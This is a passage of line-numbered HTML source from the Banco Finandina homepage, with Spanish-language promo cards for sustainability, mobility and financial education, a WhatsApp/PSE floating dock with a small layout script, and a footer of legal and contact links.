5054asset car-img" alt="Carro" width="180" height="90"> <div class="layer-fg"> <svg viewbox="0 0 522 101" fill="none" preserveaspectratio="none" style="width:100%; display:block;"> <defs> <lineargradient id="gFront0" x1="270.5" y1="19.4" x2="269" y2="100.4" gradientunits="userSpaceOnUse"><stop stop-color="#7835C3" /><stop offset="1" stop-color="#60C388" /></lineargradient> <lineargradient id="gFront1" x1="269.5" y1="-12" x2="267.5" y2="109" gradientunits="userSpaceOnUse"><stop stop-color="#9747FF" /><stop offset="1" stop-color="#60C388" /></lineargradient> </defs> <path opacity="0.9" d="M387.8 100.7C381.8 90.7 371.7 83.3 360.5 80.5C353.9 78.8 346.9 78.7 340.3 77.2C324.9 73.7 312.1 63.3 301 52.1C295.2 46.3 289.3 39.9 281.4 37.8C270.6 34.8 259.4 40.5 250.7 47.5C242.1 54.5 234.5 63.2 224.4 67.9C218.1 70.8 211.2 72.1 204.4 73.3C180.5 77.5 156.6 81.7 132.8 85.9L72.3 100.7H387.8Z" fill="url(#gFront0)" /> <path opacity="0.9" d="M600.3 100.7C593.9 85.8 573.3 83.7 557.8 88.3C551.1 90.3 544.5 93.2 537.5 93.1C530.6 93.1 524 90.1 518.1 86.5C507.7 80.4 498.6 72.3 487.9 66.8C477.2 61.2 464.1 58.5 453.3 63.9C447.2 66.9 441.9 72.4 435.1 72.7C429.9 73 425.1 70.1 420.9 67.1C406.2 56.6 393.7 42.9 384.7 27.2C377.8 15.1 369.8 -0.2 355.8 0C346.2 0.1 338.8 8 332.5 15.3C316.3 34.3 300 53.2 283.8 72.2C275.2 82.2 264.9 93 251.7 93C239.3 93 229.4 83.4 220.1 75.1C210.9 66.8 198.7 58.8 186.9 62.7C184.5 63.5 182.2 64.8 179.6 65.2C174.4 66 169.5 62.7 165.3 59.5C146.9 45.9 128.5 32.4 110.1 18.8C100.7 11.9 90.3 4.6 78.7 5.3C69.8 5.8 61.9 10.9 54.5 15.8C21.6 37.7 -11.3 59.7 -44.1 81.6L-78 100.7H600.3Z" fill="url(#gFront1)" /> </svg> </div> <img src="https://www.bancofinandina.com/hubfs/Animaciones/Animacion-2/hoja1.svg" class="img-
5054asset leaf-img l1" alt="Hoja 1" width="32" height="32"> <img src="https://www.bancofinandina.com/hubfs/Animaciones/Animacion-2/hojai.svg" class="img-asset leaf-img l2" alt="Hoja 2" width="55" height="55"> <img src="https://www.bancofinandina.com/hubfs/Animaciones/Animacion-2/hojad.svg" class="img-asset leaf-img l3" alt="Hoja 3" width="40" height="40"> <img src="https://www.bancofinandina.com/hubfs/Animaciones/Animacion-2/hojac.svg" class="img-asset leaf-img l4" alt="Hoja 4" width="22" height="22"> </div> 5055 </div> 5056 5057 <div class="h-bank-card__content"> 5058 <div id="hs_cos_wrapper_dnd_area-dnd_partial-6-module-2_" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_inline_rich_text" style="" data-hs-cos-general-type="widget" data-hs-cos-type="inline_rich_text" data-hs-cos-field="texto"><h3><strong><span style="font-size: 30px;">Finandina </span></strong><br><strong><span style="font-size: 30px;">un banco sostenible</span></strong></h3> 5059<p>Nuestras polÃticas de gestión aportan positivamente a la comunidad y al planeta mediante un modelo de inclusión financiera.</p></div> 5060 5061 5062 5063 <a class="h-bank-card-btn" href="https://www.bancofinandina.com/banco-digital-bic/sostenible-y-socialmente-responsable" target="_blank" rel="noopener"> 5064 Conoce más 5065 </a> 5066 </div> 5067 </div> 5068</section> 5069 5070</div> 5071 5072</div><!--end widget-span --> 5073</div><!--end row--> 5074</div><!--end row-wrapper --> 5075 5076</div><!--end widget-span --> 5077</div><!--end row--> 5078</div><!--end row-wrapper --> 5079 5080<div class="row-fluid-wrapper row-depth-1 row-number-25 dnd-section"> 5081<div class="row-fluid "> 5082<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 5083<div id="hs_cos_wrapper_dnd_area-module-7" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><section class="h-bank-card h-bank-card--reverse" aria-labelledby="h-bank-title-"> 5084 <div class="h-bank-card__inner"> 5085 <div class="h-bank-card__media" role="img" aria-hidden="true"> 5086 <div class="animation-col"> <img src="https://www.bancofinandina.com/hubfs/Animaciones/Animaci%C3%B3n%203/fondo-carro.svg" class="img-
5086asset bg-interior" alt="Interior"> <div class="screen-wrapper"> <img src="https://www.bancofinandina.com/hubfs/Animaciones/Animaci%C3%B3n%203/tablero.svg" class="img-asset screen-img" alt="Pantalla"> <div class="screen-light"></div> </div> <img src="https://www.bancofinandina.com/hubfs/Animaciones/Animaci%C3%B3n%203/volante.svg" class="img-asset wheel-img" alt="Volante"> </div> 5087 </div> 5088 5089 <div class="h-bank-card__content"> 5090 <div id="hs_cos_wrapper_dnd_area-module-7_" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_inline_rich_text" style="" data-hs-cos-general-type="widget" data-hs-cos-type="inline_rich_text" data-hs-cos-field="texto"><h3><strong><span style="font-size: 30px;">Movilidad</span></strong><br><strong><span style="font-size: 30px;">Inteligente</span></strong></h3> 5091<p>En un mundo en constante movimiento, tenemos TODO para el medio de transporte de tu preferencia.</p></div> 5092 5093 5094 5095 <a class="h-bank-card-btn" href="/movilidad" target="_blank" rel="noopener"> 5096 Conoce más 5097 </a> 5098 </div> 5099 </div> 5100</section> 5101 5102</div> 5103 5104</div><!--end widget-span --> 5105</div><!--end row--> 5106</div><!--end row-wrapper --> 5107 5108<div class="row-fluid-wrapper row-depth-1 row-number-26 dnd-section"> 5109<div class="row-fluid "> 5110<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 5111<div id="hs_cos_wrapper_dnd_area-dnd_partial-9-module-1" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><section class="financial-module"> 5112 <!-- Left-side gradient band (width controlled via --bg-right) --> 5113 <div class="left-band" aria-hidden="true"></div> 5114 5115 <div class="container"> 5116 <header class="module-header"> 5117 <h2>Más que un banco:</h2> 5118 <p>tu guÃa hacia la libertad financiera</p> 5119 </header> 5120 <div class="cards"> 5121 <!-- CARD 1 --> 5122 <article class="card card--izq" style=" 5123 /* Replace these with your real assets */ 5124 --img1: url('https://www.bancofinandina.com/hubfs/Group%2034698.png'); 5125 --img2: url('https://www.bancofinandina.com/hubfs/Ellipse%2065.png'); 5126 --img3: url('https://www.bancofinandina.com/hubfs/Vector%20%281%29.png'); 5127 "> 5128 <a href="https://www.bancofinandina.com/finanblog" class="cta">Comenzar ahora <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none"> 5129 <path fill-rule="evenodd" clip-rule="evenodd" d="M13.8483 5.46742C14.1333 5.17753 14.5953 5.17753 14.8803 5.46742L20.7863 11.4751C20.9231 11.6143 21 11.8031 21 12C21 12.1969 20.9231 12.3857 20.7863 12.5249L14.8803 18.5326C14.5953 18.8225 14.1333 18.8225 13.8483 18.5326C13.5634 18.2427 13.5634 17.7727 13.8483 17.4828L19.2383 12L13.8483 6.51719C13.5634 6.2273 13.5634 5.7573 13.8483 5.46742Z" fill="#6530A1" /> 5130 <path fill-rule="evenodd" clip-rule="evenodd" d="M3 12C3 11.59 3.32671 11.2577 3.72973 11.2577H20.1049C20.5079 11.2577 20.8346 11.59 20.8346 12C20.8346 12.41 20.5079 12.7423 20.1049 12.7423H3.72973C3.32671 12.7423 3 12.41 3 12Z" fill="#6530A1" /> 5131</svg></a> 5132 5133 <div class="card-inner"> 5134 <h3>FinanBlog</h3> 5135 <p> 5136 Consejos prácticos sobre sostenibilidad, negocios y finanzas personales. 5137 InspÃrate con ideas que transforman tu manera de manejar el dinero. 5138 </p> 5139 </div> 5140 </article> 5141 5142 <!-- CARD 2 --> 5143 <article class="card card--der" style=" 5144 /* Replace these with your real assets */ 5145 --img1: url('https://www.bancofinandina.com/hubfs/Group%2034704.png'); 5146 --img2: url('https://www.bancofinandina.com/hubfs/Ellipse%2065%20%281%29.png'); 5147 --img3: url('https://www.bancofinandina.com/hubfs/Vector%20%282%29.png'); 5148 "> 5149 <a href="https://www.bancofinandina.com/servicio-al-cliente/educacion-y-consumidor-financiero" class="cta">Comenzar ahora <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" fill="none"> 5150 <path fill-rule="evenodd" clip-rule="evenodd" d="M13.8483 5.46742C14.1333 5.17753 14.5953 5.17753 14.8803 5.46742L20.7863 11.4751C20.9231 11.6143 21 11.8031 21 12C21 12.1969 20.9231 12.3857 20.7863 12.5249L14.8803 18.5326C14.5953 18.8225 14.1333 18.8225 13.8483 18.5326C13.5634 18.2427 13.5634 17.7727 13.8483 17.4828L19.2383 12L13.8483 6.51719C13.5634 6.2273 13.5634 5.7573 13.8483 5.46742Z" fill="#6530A1" /> 5151 <path fill-rule="evenodd" clip-rule="evenodd" d="M3 12C3 11.59 3.32671 11.2577 3.72973 11.2577H20.1049C20.5079 11.2577 20.8346 11.59 20.8346 12C20.8346 12.41 20.5079 12.7423 20.1049 12.7423H3.72973C3.32671 12.7423 3 12.41 3 12Z" fill="#6530A1" /> 5152</svg></a> 5153 5154 <div class="card-inner"> 5155 <h3>Educación Financiera</h3> 5156 <p> 5157 Aprende a ahorrar, invertir y tomar decisiones inteligentes con nuestras 5158 guÃas de educación financiera. Empieza hoy a construir tu libertad económica. 5159 </p> 5160 </div> 5161 </article> 5162 </div> 5163 </div> 5164</section> 5165 5166</div> 5167 5168</div><!--end widget-span --> 5169</div><!--end row--> 5170</div><!--end row-wrapper --> 5171 5172</div><!--end widget-span --> 5173</div> 5174</div> 5175</div> 5176 5177 </main> 5178 5179 5180 <div id="hs_cos_wrapper_module_17642095525359" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><!-- Dock lateral con ondas permanentes --> 5181<div class="section-botones-flotantes fab-dock"> 5182 <ul class="fab-list"> 5183 5184 <!-- WhatsApp --> 5185 5186<li class="fab-item"> 5187 <span class="fab-waves "> 5188 <span class="ring ring1"></span> 5189 <span class="ring ring2"></span> 5190 <span class="ring ring3"></span> 5191 </span> 5192 5193
5194 <a href="https://api.whatsapp.com/send?phone=573173001354&text=Hola" target="_blank" class="fab-link" style="background: #00984C" aria-label="Chat en lÃnea" rel="noopener noreferrer"> 5195 <span class="fab-icon"> 5196 5197 5198 <svg width="32" height="32" viewbox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"> 5199 <path fill-rule="evenodd" clip-rule="evenodd" d="M16 2.667C8.636 2.667 2.667 8.636 2.667 16c0 2.332.63 4.516 1.73 6.399L2.667 29.333l7.118-1.696A13.244 13.244 0 0016 29.167C23.364 29.167 29.333 23.198 29.333 16S23.364 2.667 16 2.667zm0 24.333a10.644 10.644 0 01-5.398-1.42l-.387-.228-4.02.996.977-4.084-.242-.394A10.656 10.656 0 015.333 16C5.333 10.11 10.11 5.333 16 5.333S26.667 10.11 26.667 16 21.89 27 16 27zm5.826-8.17c-.32-.16-1.887-.932-2.18-1.037-.294-.106-.508-.16-.722.16-.213.32-.826 1.038-1.013 1.252-.186.214-.373.24-.693.08-.32-.16-1.35-.497-2.573-1.587-.95-.848-1.592-1.894-1.777-2.214-.186-.32-.02-.493.14-.652.144-.143.32-.373.48-.56.16-.186.213-.32.32-.533.107-.213.053-.4-.026-.56-.08-.16-.72-1.733-.987-2.373-.26-.627-.524-.54-.72-.548h-.614c-.213 0-.56.08-.853.4s-1.12 1.093-1.12 2.666c0 1.573 1.147 3.094 1.307 3.307.16.213 2.253 3.44 5.467 4.827.764.33 1.36.526 1.826.672.767.244 1.466.21 2.02.127.616-.092 1.894-.775 2.16-1.521.266-.747.266-1.388.186-1.522-.08-.133-.293-.213-.613-.373z" fill="white" /> 5200 </svg> 5201 5202 </span> 5203 <span class="fab-label" style="color: #fff;">Chat en lÃnea</span> 5204 </a> 5205</li> 5206 5207<li class="fab-item"> 5208 <span class="fab-waves fab-waves--blue "> 5209 <span class="ring ring1"></span> 5210 <span class="ring ring2"></span> 5211 <span class="ring ring3"></span> 5212 </span> 5213 5214 5215 <a href="https://www.bancofinandina.com/pagos-pse" target="_self" class="fab-link" style="background: #F5F5F7" aria-label="Pagos por PSE" rel="noopener noreferrer"> 5216 <span class="fab-icon"> 5217 5218 5219 5220 <img src="https://www.bancofinandina.com/hs-fs/hubfs/pse.png?width=89&height=90&name=pse.png" alt="" width="89" height="90" srcset="https://www.bancofinandina.com/hs-fs/hubfs/pse.png?width=45&height=45&name=pse.png 45w, https://www.bancofinandina.com/hs-fs/hubfs/pse.png?width=89&height=90&name=pse.png 89w, https://www.bancofinandina.com/hs-fs/hubfs/pse.png?width=134&height=135&name=pse.png 134w, https://www.bancofinandina.com/hs-fs/hubfs/pse.png?width=178&height=180&name=pse.png 178w, https://www.bancofinandina.com/hs-fs/hubfs/pse.png?width=223&height=225&name=pse.png 223w, https://www.bancofinandina.com/hs-fs/hubfs/pse.png?width=267&height=270&name=pse.png 267w" sizes="(max-width: 89px) 100vw, 89px"> 5221 5222 </span> 5223 <span class="fab-label" style="color: #012B55;">Pagos por PSE</span> 5224 </a> 5225</li> 5226 5227 5228 </ul> 5229</div> 5230 5231 5232
5233<script> 5234document.addEventListener('DOMContentLoaded', function () { 5235 const dock = document.querySelector('.fab-dock'); 5236 if (!dock) return; 5237 5238 function adjustDock(){ 5239 const vh = window.innerHeight; 5240 const rect = dock.getBoundingClientRect(); 5241 dock.style.marginBottom = (rect.bottom > vh - 20) ? (rect.bottom - vh + 20) + 'px' : '0'; 5242 } 5243 window.addEventListener('resize', adjustDock); 5244 adjustDock(); 5245}); 5246</script>
5246</div> 5247 5248 5249 <div data-global-resource-path="Finandina 2025/templates/partials/footer.html"><!-- Begin partial --> 5250<footer> 5251 <div class="container-fluid"> 5252<div class="row-fluid-wrapper"> 5253<div class="row-fluid"> 5254<div class="span12 widget-span widget-type-cell " style="" data-widget-type="cell" data-x="0" data-w="12"> 5255 5256<div class="row-fluid-wrapper row-depth-1 row-number-1 dnd-section"> 5257<div class="row-fluid "> 5258<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 5259<div id="hs_cos_wrapper_footer-module-1" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><section class="section-footer"> 5260 <div class="container"> 5261 <div class="row flex-start pt-72"> 5262 <div class="link-col"> 5263 <h4><a href="https://www.bancofinandina.com/banco-digital-bic" style="color:#fff">Somos un Banco Digital</a></h4> 5264 5265 5266 5267 <span id="hs_cos_wrapper_footer-module-1_" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_simple_menu" style="" data-hs-cos-general-type="widget" data-hs-cos-type="simple_menu"><div id="hs_menu_wrapper_footer-module-1_" class="hs-menu-wrapper active-branch flyouts hs-menu-flow-horizontal" role="navigation" data-sitemap-name="" data-menu-id="" aria-label="Navigation Menu"> 5268 <ul role="menu"> 5269 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/banco-digital-bic/cultura-organizacional" role="menuitem" target="_self">Cultura de gente libre</a></li> 5270 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/banco-digital-bic/sostenible-y-socialmente-responsable" role="menuitem" target="_self">Responsabilidad social corporativa</a></li> 5271 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/plan-kmino" role="menuitem" target="_self">Km plan Kmino</a></li> 5272 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/banco-digital-bic/sostenible-y-socialmente-responsable/empresa-b" role="menuitem" target="_self">Empresa B</a></li> 5273 </ul> 5274</div></span> 5275 </div> 5276 <div class="link-col"> 5277 <h4><a href="https://www.bancofinandina.com/servicio-al-cliente" style="color:#fff">Servicio al cliente</a></h4> 5278 5279 5280 5281 5282 <span id="hs_cos_wrapper_footer-module-1_" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_simple_menu" style="" data-hs-cos-general-type="widget" data-hs-cos-type="simple_menu"><div id="hs_menu_wrapper_footer-module-1_" class="hs-menu-wrapper active-branch flyouts hs-menu-flow-horizontal" role="navigation" data-sitemap-name="" data-menu-id="" aria-label="Navigation Menu"> 5283 <ul role="menu"> 5284 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/servicio-al-cliente/canales-de-atencion" role="menuitem" target="_self">Canales de atención</a></li> 5285 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/servicio-al-cliente/preguntas-frecuentes" role="menuitem" target="_self">Preguntas frecuentes</a></li> 5286 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/servicio-al-cliente/tasas-y-tarifas" role="menuitem" target="_self">Tasas y tarifas</a></li> 5287 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/servicio-al-cliente/educacion-y-consumidor-financiero" role="menuitem" target="_self">Educación financiera</a></li> 5288 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/servicio-al-cliente/oficinas" role="menuitem" target="_self">Oficinas</a></li> 5289 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/servicio-al-cliente/educacion-y-consumidor-financiero/defensor-financiero" role="menuitem" target="_self">Defensor consumidor financiero</a></li> 5290 <li class="hs-menu-item" role="none"><a href="/centro-de-ayuda" role="menuitem">Centro de Ayuda</a></li><li class="hs-menu-item" role="none"><a href="/mapa-del-sitio" role="menuitem">Mapa del sitio</a></li><li class="hs-menu-item" role="none"><a href="/encuestas/calificanos" role="menuitem">Califica nuestra página</a></li></ul> 5291</div></span> 5292 </div> 5293 <div class="link-col"> 5294 <h4><a href="https://www.bancofinandina.com/informacion-de-interes" style="color:#fff">Información Legal</a></h4> 5295 5296 5297
5298 <span id="hs_cos_wrapper_footer-module-1_" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_simple_menu" style="" data-hs-cos-general-type="widget" data-hs-cos-type="simple_menu"><div id="hs_menu_wrapper_footer-module-1_" class="hs-menu-wrapper active-branch flyouts hs-menu-flow-horizontal" role="navigation" data-sitemap-name="" data-menu-id="" aria-label="Navigation Menu"> 5299 <ul role="menu"> 5300 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/informacion-de-interes/terminos-y-condiciones" role="menuitem" target="_self">Términos y condiciones</a></li> 5301 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.superfinanciera.gov.co/" role="menuitem" target="_self">Superfinanciera</a></li> 5302 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/informacion-de-interes/proteccion-de-datos" role="menuitem" target="_self">Protección de datos</a></li> 5303 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/informacion-de-interes/politicas-generales-para-la-gestion-de-la-cobranza" role="menuitem" target="_self">PolÃticas generales de cobranza</a></li> 5304 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/informacion-de-interes/reversion-de-pagos" role="menuitem" target="_self">Reversión de pagos</a></li> 5305 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/hubfs/documentos-legales/politicas-generales-de-seguros-V11.pdf" role="menuitem" target="_blank" rel="noopener">PolÃticas generales de seguros</a></li> 5306 <li class="hs-menu-item hs-menu-depth-1" role="none"><a href="https://www.bancofinandina.com/informacion-de-interes" role="menuitem" target="_self">Autorización de contacto</a></li> 5307 <li class="hs-menu-item" role="none"><a href="/hubfs/documentos-legales/politica-general-del-sistema-de-gestion-de-seguridad-de-la-informacion.pdf" target="_blank" rel="noopener" role="menuitem">PolÃtica seguridad de la información</a></li></ul> 5308</div></span> 5309 </div> 5310 <div class="link-col mov-100"> 5311 <h4><a href="https://www.bancofinandina.com/servicio-al-cliente/canales-de-atencion" style="color:#fff">Contáctanos</a></h4> 5312 <ul class="links-col4"> 5313 5314 <li class="hs-menu-item"> 5315 <span>Bogotá</span> 5316 <a href="tel:(601)2191919">(601)2191919</a> 5317 </li> 5318 5319 <li class="hs-menu-item"> 5320 <span>Resto del paÃs</span> 5321 <a href="tel:01%208000%20912886">01 8000 912886</a> 5322 </li> 5323 5324 </ul> 5325 <div class="row row-mov"> 5326 5327 <a href="https://www.instagram.com/bancofinandina/?hl=es-la"> 5328 5329 5330 5331 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Icon.png?width=18&height=18&name=Icon.png" alt="Instahram-icon" loading="lazy" width="18" height="18" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Icon.png?width=9&height=9&name=Icon.png 9w, https://www.bancofinandina.com/hs-fs/hubfs/Icon.png?width=18&height=18&name=Icon.png 18w, https://www.bancofinandina.com/hs-fs/hubfs/Icon.png?width=27&height=27&name=Icon.png 27w, https://www.bancofinandina.com/hs-fs/hubfs/Icon.png?width=36&height=36&name=Icon.png 36w, https://www.bancofinandina.com/hs-fs/hubfs/Icon.png?width=45&height=45&name=Icon.png 45w, https://www.bancofinandina.com/hs-fs/hubfs/Icon.png?width=54&height=54&name=Icon.png 54w" sizes="(max-width: 18px) 100vw, 18px"> 5332 5333 </a> 5334 5335 <a href="https://es-la.facebook.com/BancoFinandina/"> 5336 5337 5338 5339 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(2).png?width=18&height=18&name=Icon%20(2).png" alt="Facebook-icon" loading="lazy" width="18" height="18" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(2).png?width=9&height=9&name=Icon%20(2).png 9w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(2).png?width=18&height=18&name=Icon%20(2).png 18w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(2).png?width=27&height=27&name=Icon%20(2).png 27w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(2).png?width=36&height=36&name=Icon%20(2).png 36w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(2).png?width=45&height=45&name=Icon%20(2).png 45w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(2).png?width=54&height=54&name=Icon%20(2).png 54w" sizes="(max-width: 18px) 100vw, 18px"> 5340 5341 </a> 5342 5343 <a href="https://co.linkedin.com/company/banco-finandina"> 5344 5345 5346 5347 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(3).png?width=18&height=18&name=Icon%20(3).png" alt="linkedln-icon" loading="lazy" width="18" height="18" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(3).png?width=9&height=9&name=Icon%20(3).png 9w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(3).png?width=18&height=18&name=Icon%20(3).png 18w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(3).png?width=27&height=27&name=Icon%20(3).png 27w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(3).png?width=36&height=36&name=Icon%20(3).png 36w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(3).png?width=45&height=45&name=Icon%20(3).png 45w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(3).png?width=54&height=54&name=Icon%20(3).png 54w" sizes="(max-width: 18px) 100vw, 18px"> 5348 5349 </a> 5350 5351 <a href="https://x.com/bancofinandina?lang=es"> 5352 5353 5354 5355 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(4).png?width=18&height=18&name=Icon%20(4).png" alt="X-icon" loading="lazy" width="18" height="18" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(4).png?width=9&height=9&name=Icon%20(4).png 9w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(4).png?width=18&height=18&name=Icon%20(4).png 18w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(4).png?width=27&height=27&name=Icon%20(4).png 27w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(4).png?width=36&height=36&name=Icon%20(4).png 36w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(4).png?width=45&height=45&name=Icon%20(4).png 45w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(4).png?width=54&height=54&name=Icon%20(4).png 54w" sizes="(max-width: 18px) 100vw, 18px"> 5356 5357 </a> 5358 5359 <a href="https://www.youtube.com/channel/UC-C5sG9_fnA6eJSvFsbc1IA"> 5360 5361 5362 5363 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(5).png?width=18&height=14&name=Icon%20(5).png" alt="youtube-icon" loading="lazy" width="18" height="14" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(5).png?width=9&height=7&name=Icon%20(5).png 9w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(5).png?width=18&height=14&name=Icon%20(5).png 18w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(5).png?width=27&height=21&name=Icon%20(5).png 27w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(5).png?width=36&height=28&name=Icon%20(5).png 36w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(5).png?width=45&height=35&name=Icon%20(5).png 45w, https://www.bancofinandina.com/hs-fs/hubfs/Icon%20(5).png?width=54&height=42&name=Icon%20(5).png 54w" sizes="(max-width: 18px) 100vw, 18px"> 5364 5365 </a> 5366 5367 </div> 5368 </div> 5369 </div> 5370 <hr class="hr-22"> 5371 <div class="row center pb-34"> 5372 5373 <img class="logo-footer" src="https://www.bancofinandina.com/hs-fs/hubfs/Logo%20(2).png?width=482&height=80&name=Logo%20(2).png" alt="Logo banco finandina" loading="lazy" width="482" height="80" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Logo%20(2).png?width=241&height=40&name=Logo%20(2).png 241w, https://www.bancofinandina.com/hs-fs/hubfs/Logo%20(2).png?width=482&height=80&name=Logo%20(2).png 482w, https://www.bancofinandina.com/hs-fs/hubfs/Logo%20(2).png?width=723&height=120&name=Logo%20(2).png 723w, https://www.bancofinandina.com/hs-fs/hubfs/Logo%20(2).png?width=964&height=160&name=Logo%20(2).png 964w, https://www.bancofinandina.com/hs-fs/hubfs/Logo%20(2).png?width=1205&height=200&name=Logo%20(2).png 1205w, https://www.bancofinandina.com/hs-fs/hubfs/Logo%20(2).png?width=1446&height=240&name=Logo%20(2).png 1446w" sizes="(max-width: 482px) 100vw, 482px"> 5374 </div> 5375 </div> 5376</section> 5377<div class="section-footer-logos"> 5378 <ul class="row logos-footer"> 5379 5380 <li class="logos-foot-f"> 5381 5382 5383 5384 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Fogaf%C3%ADn.png?width=196&height=58&name=Fogaf%C3%ADn.png" alt="FogafÃn" loading="lazy" width="196" height="58" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Fogaf%C3%ADn.png?width=98&height=29&name=Fogaf%C3%ADn.png 98w, https://www.bancofinandina.com/hs-fs/hubfs/Fogaf%C3%ADn.png?width=196&height=58&name=Fogaf%C3%ADn.png 196w, https://www.bancofinandina.com/hs-fs/hubfs/Fogaf%C3%ADn.png?width=294&height=87&name=Fogaf%C3%ADn.png 294w, https://www.bancofinandina.com/hs-fs/hubfs/Fogaf%C3%ADn.png?width=392&height=116&name=Fogaf%C3%ADn.png 392w, https://www.bancofinandina.com/hs-fs/hubfs/Fogaf%C3%ADn.png?width=490&height=145&name=Fogaf%C3%ADn.png 490w, https://www.bancofinandina.com/hs-fs/hubfs/Fogaf%C3%ADn.png?width=588&height=174&
5384name=Fogaf%C3%ADn.png 588w" sizes="(max-width: 196px) 100vw, 196px"> 5385 5386 </li> 5387 5388 <li class="logos-foot-f"> 5389 5390 5391 5392 <img src="https://www.bancofinandina.com/hs-fs/hubfs/aa.png?width=196&height=55&name=aa.png" alt="aa" loading="lazy" width="196" height="55" srcset="https://www.bancofinandina.com/hs-fs/hubfs/aa.png?width=98&height=28&name=aa.png 98w, https://www.bancofinandina.com/hs-fs/hubfs/aa.png?width=196&height=55&name=aa.png 196w, https://www.bancofinandina.com/hs-fs/hubfs/aa.png?width=294&height=83&name=aa.png 294w, https://www.bancofinandina.com/hs-fs/hubfs/aa.png?width=392&height=110&name=aa.png 392w, https://www.bancofinandina.com/hs-fs/hubfs/aa.png?width=490&height=138&name=aa.png 490w, https://www.bancofinandina.com/hs-fs/hubfs/aa.png?width=588&height=165&name=aa.png 588w" sizes="(max-width: 196px) 100vw, 196px"> 5393 5394 </li> 5395 5396 <li class="logos-foot-f"> 5397 5398 5399 5400 <img src="https://www.bancofinandina.com/hs-fs/hubfs/bcr1.png?width=172&height=58&name=bcr1.png" alt="bcr1" loading="lazy" width="172" height="58" srcset="https://www.bancofinandina.com/hs-fs/hubfs/bcr1.png?width=86&height=29&name=bcr1.png 86w, https://www.bancofinandina.com/hs-fs/hubfs/bcr1.png?width=172&height=58&name=bcr1.png 172w, https://www.bancofinandina.com/hs-fs/hubfs/bcr1.png?width=258&height=87&name=bcr1.png 258w, https://www.bancofinandina.com/hs-fs/hubfs/bcr1.png?width=344&height=116&name=bcr1.png 344w, https://www.bancofinandina.com/hs-fs/hubfs/bcr1.png?width=430&height=145&name=bcr1.png 430w, https://www.bancofinandina.com/hs-fs/hubfs/bcr1.png?width=516&height=174&name=bcr1.png 516w" sizes="(max-width: 